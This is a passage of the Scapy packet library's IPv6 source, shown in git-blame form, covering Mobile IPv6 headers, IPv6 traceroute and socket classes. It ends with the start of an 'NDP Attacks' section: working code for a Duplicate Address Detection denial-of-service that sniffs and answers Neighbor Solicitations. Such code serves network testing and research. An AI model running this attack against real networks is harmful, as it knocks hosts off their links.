3018c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Update"
3019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3020c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 5, mhtypes),
3022c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3023c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3024c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3025571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "KHA", 7, "PRMKLHA"),
3026571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("reserved", 0, 9),
3027c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    LifetimeField("mhtime", 3), # unit == 4 seconds
3028c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3029c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len - 4) ]
3031c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
3032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30342a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3035c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
30360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def answers(self, other):
3037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(other, MIP6MH_BRR):
3038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BA(_MobilityHeader):
3042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding ACK"
3043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 6, mhtypes),
3046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, bastatus),
3049571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "K", 3, "PRK"),
3050571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("res2", None, 5),
3051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("mhtime", 0), # unit == 4 seconds
3053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3055c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len-4) ]
3056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30592a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
3062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_BU) and
3063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.mhtype == 5 and
3064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.mhtype == 6 and
3065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.flags & 0x1 and # Ack request flags is set
3066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.seq == other.seq):
3067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_bestatus = { 1: 'Unknown binding for Home Address destination option',
3071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              2: 'Unrecognized MH Type value' }
3072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: match Binding Error to its stimulus
3074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BE(_MobilityHeader):
3075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Error"
3076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 7, mhtypes),
3079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", 0),
3080c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, _bestatus),
3082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
3083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("ha", "::"),
3084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
3085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
3086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mip6_mhtype2cls = { 0: MIP6MH_BRR,
3089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     1: MIP6MH_HoTI,
3090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: MIP6MH_CoTI,
3091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: MIP6MH_HoT,
3092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: MIP6MH_CoT,
3093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     5: MIP6MH_BU,
3094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     6: MIP6MH_BA,
3095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     7: MIP6MH_BE }
3096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
30981bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
3099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                             Traceroute6                               ###
3102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass  AS_resolver6(AS_resolver_riswhois):
3106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _resolve_one(self, ip):
3107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        overloaded version to provide a Whois resolution on the
31090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        embedded IPv4 address if the address is 6to4 or Teredo.
3110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Otherwise, the native IPv6 address is passed.
3111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if in6_isaddr6to4(ip): # for 6to4, use embedded @
3114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = inet_pton(socket.AF_INET6, ip)
3115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET, tmp[2:6])
3116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif in6_isaddrTeredo(ip): # for Teredo, use mapped address
3117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = teredoAddrExtractInfo(ip)[2]
3118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
3119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = ip
31200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)
3122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3123caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon        if asn.startswith("AS"):
3124caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            try:
3125caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                asn = int(asn[2:])
3126caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            except ValueError:
3127caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                pass
3128caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3129caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon        return ip,asn,desc
3130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TracerouteResult6(TracerouteResult):
3132aefe6fcbe454cd014487523c5470d933fa70e95cPierre LALET    __slots__ = []
3133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def show(self):
3134d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        return self.make_table(lambda s_r: (s_r[0].sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 !
313522a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                            s_r[0].hlim,
313622a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                            s_r[1].sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+
313722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+
313822a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+
313922a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6EchoReply:%ir,type%}")))
3140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def get_trace(self):
3142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        trace = {}
3143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for s,r in self.res:
3145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 not in s:
3146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = s[IPv6].dst
3148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d not in trace:
3149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                trace[d] = {}
31500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
31510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            t = not (ICMPv6TimeExceeded in r or
3152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6DestUnreach in r or
3153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6PacketTooBig in r or
3154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6ParamProblem in r)
3155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            trace[d][s[IPv6].hlim] = r[IPv6].src, t
3157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
315822a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter        for k in six.itervalues(trace):
3159241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            try:
316022a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                m = min(x for x, y in six.itervalues(k) if y)
3161241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            except ValueError:
3162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3163241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            for l in k.keys():  # use .keys(): k is modified in the loop
3164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l > m:
3165241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET                    del k[l]
3166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return trace
3168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def graph(self, ASres=AS_resolver6(), **kargs):
3170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        TracerouteResult.graph(self, ASres=ASres, **kargs)
3171caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3172caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
3173caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadondef traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(),
3174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l4 = None, timeout=2, verbose=None, **kargs):
3175caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Instant TCP traceroute using IPv6
3176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None
3177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
3178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose is None:
3179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        verbose = conf.verb
3180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if l4 is None:
3182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport),
3183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs)
3184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
3185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4,
3186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, verbose=verbose, **kargs)
3187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    a = TracerouteResult6(a.res)
3189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose:
3191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a.display()
3192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3193c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return a,b
3194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                                Sockets                                ###
3198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass L3RawSocket6(L3RawSocket):
3202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0):
3203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        L3RawSocket.__init__(self, type, filter, iface, promisc)
320477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292)
3205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
3206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
3207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef IPv6inIP(dst='203.178.135.36', src=None):
3209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.dst = dst
3210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.src = src
3211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  if not conf.L3socket == _IPv6inIP:
3212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.cls = conf.L3socket
3213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  else:
3214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    del(conf.L3socket)
3215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  return _IPv6inIP
3216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6inIP(SuperSocket):
3218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  dst = '127.0.0.1'
3219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  src = None
3220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  cls = None
3221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args):
3223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    SuperSocket.__init__(self, family, type, proto)
3224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    self.worker = self.cls(**args)
3225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def set(self, dst, src=None):
3227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.src = src
3228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.dst = dst
3229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def nonblock_recv(self):
3231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.nonblock_recv()
3232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p)
3233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def recv(self, x):
3235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.recv(x)
3236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p, x)
3237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def _recv(self, p, x=MTU):
3239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if p is None:
3240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return p
3241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif isinstance(p, IP):
3242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      # TODO: verify checksum
3243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:
3244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(p.payload, IPv6):
3245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return p.payload
3246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return p
3247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def send(self, x):
3249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x)
3250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3254af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard###                  Neighbor Discovery Protocol Attacks                  ###
3255af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3256af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3257af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3258af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
3259af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter=None, reply_mac=None):
3260af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3261af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Internal generic helper accepting a specific callback as first argument,
3262af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for NS or NA reply. See the two specific functions below.
3263af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3264af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3265af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3266af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3267af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3268af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3269af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3270af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3271af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3272af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3273af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3274af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Get and compare the MAC address
3275af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3276af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3277af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3278af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3279af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must be the unspecified address
3280af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[IPv6].src != "::":
3281af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3282af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3283af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check destination is the link-local solicited-node multicast
3284af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address associated with target address in received NS
3285af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3286af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3287af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3288af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst)
3289af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        expected_snma = in6_getnsma(tgt)
3290af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if received_snma != expected_snma:
3291af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3292af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3293af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3294af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3295af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3296af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3297af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3298af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3299af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3300af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3301af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3302af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3303af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3304af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3305af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3306af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, iface),
3307af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3308af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3309af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3310af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
3311af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3312af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3313af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3314af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages sent from the
